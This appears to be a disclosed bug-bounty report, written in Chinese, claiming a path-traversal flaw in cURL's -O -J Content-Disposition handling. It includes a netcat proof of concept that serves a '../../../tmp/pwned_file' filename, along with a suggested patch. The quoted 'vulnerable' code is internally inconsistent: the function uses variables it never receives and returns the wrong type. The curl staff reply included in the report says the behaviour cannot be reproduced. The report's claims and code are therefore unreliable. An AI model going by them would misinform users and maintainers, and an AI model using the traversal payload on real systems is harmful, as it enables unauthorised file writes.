目录遍历漏洞分析:cURL Content-Disposition头处理缺陷
漏洞描述
src/tool_cb_hdr.c文件中的parse_filename函数未能充分验证和清理从HTTP Content-Disposition头中提取的文件名,当同时使用-O(远程名称)和-J(远程头名称)选项时,允许目录遍历攻击。
漏洞代码位置
文件: src/tool_cb_hdr.c
函数: parse_filename(约230-300行)
受影响代码路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
static char *parse_filename(const char *ptr, size_t len)
{
// ... [文件名提取逻辑] ...
if(per->config->output_dir) {
outs->filename = curl_maprintf("%s/%s", per->config->output_dir,
filename); // 漏洞点:文件名可能包含路径遍历
}
else
outs->filename = filename;
// 创建文件时缺乏足够的路径遍历检查
if(!tool_create_output_file(outs, per->config))
return CURL_WRITEFUNC_ERROR;
}
|
攻击场景
- 用户运行:
curl -O -J http://malicious-server/file -o "/intended/output/dir"
- 恶意服务器响应头:
Content-Disposition: attachment; filename="../../../etc/passwd"
- cURL在
/etc/passwd创建文件,而不是在/intended/output/dir/etc/passwd
概念验证
恶意服务器设置:
1
|
echo -e "HTTP/1.1 200 OK\r\nContent-Disposition: attachment; filename=\"../../../tmp/pwned_file\"\r\nContent-Length: 6\r\n\r\nPWNED" | nc -l -p 8080
|
利用命令:
1
2
3
|
# 触发漏洞的用户命令
curl -O -J http://localhost:8080/malicious-file -o "/safe/output/directory"
# 结果:文件在/tmp/pwned_file创建,而不是在/safe/output/directory/pwned_file
|
推荐修复方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
static char *parse_filename(const char *ptr, size_t len)
{
char *copy = memdup0(ptr, len);
if(!copy)
return NULL;
// 路径遍历保护
if(strstr(copy, "..") != NULL) {
free(copy);
return NULL; // 拒绝包含路径遍历的文件名
}
// 对绝对路径的额外清理
if(copy[0] == '/') {
free(copy);
return NULL; // 拒绝绝对路径
}
// ... 现有处理逻辑 ...
}
|
影响
直接影响
- 任意文件写入:攻击者可以在预期输出目录之外写入文件
- 文件覆盖:可以覆盖现有的系统文件
- 权限提升:当以提升的权限运行时,可以修改关键系统文件
攻击向量
- 恶意Web服务器:任何被入侵或恶意的服务器都可以利用此漏洞
- 中间人攻击:在未加密的连接中
- 缓存投毒:如果CDN或代理缓存被入侵
项目响应
curl staff评论:
“-J的文档说明:如果服务器提供的文件名包含路径,在使用文件名之前会将其剥离。因此这个报告听起来确实是不正确的行为。但文档也警告:请谨慎使用此选项。不过我无法重现这个问题,在git HEAD和7.88.1版本中,使用--output-dir选项时,curl会按预期将文件写入该目录,忽略Content-Disposition中的路径。”
披露状态:
根据项目透明度政策,该报告已被披露并公开。
报告详情
| 项目 |
详情 |
| 报告ID |
#3408126 |
| 严重程度 |
中等(4 ~ 6.9) |
| 披露时间 |
2025年11月1日 21:22 UTC |
| 弱点类型 |
路径遍历 |
| CVE ID |
无 |
| 赏金 |
无 |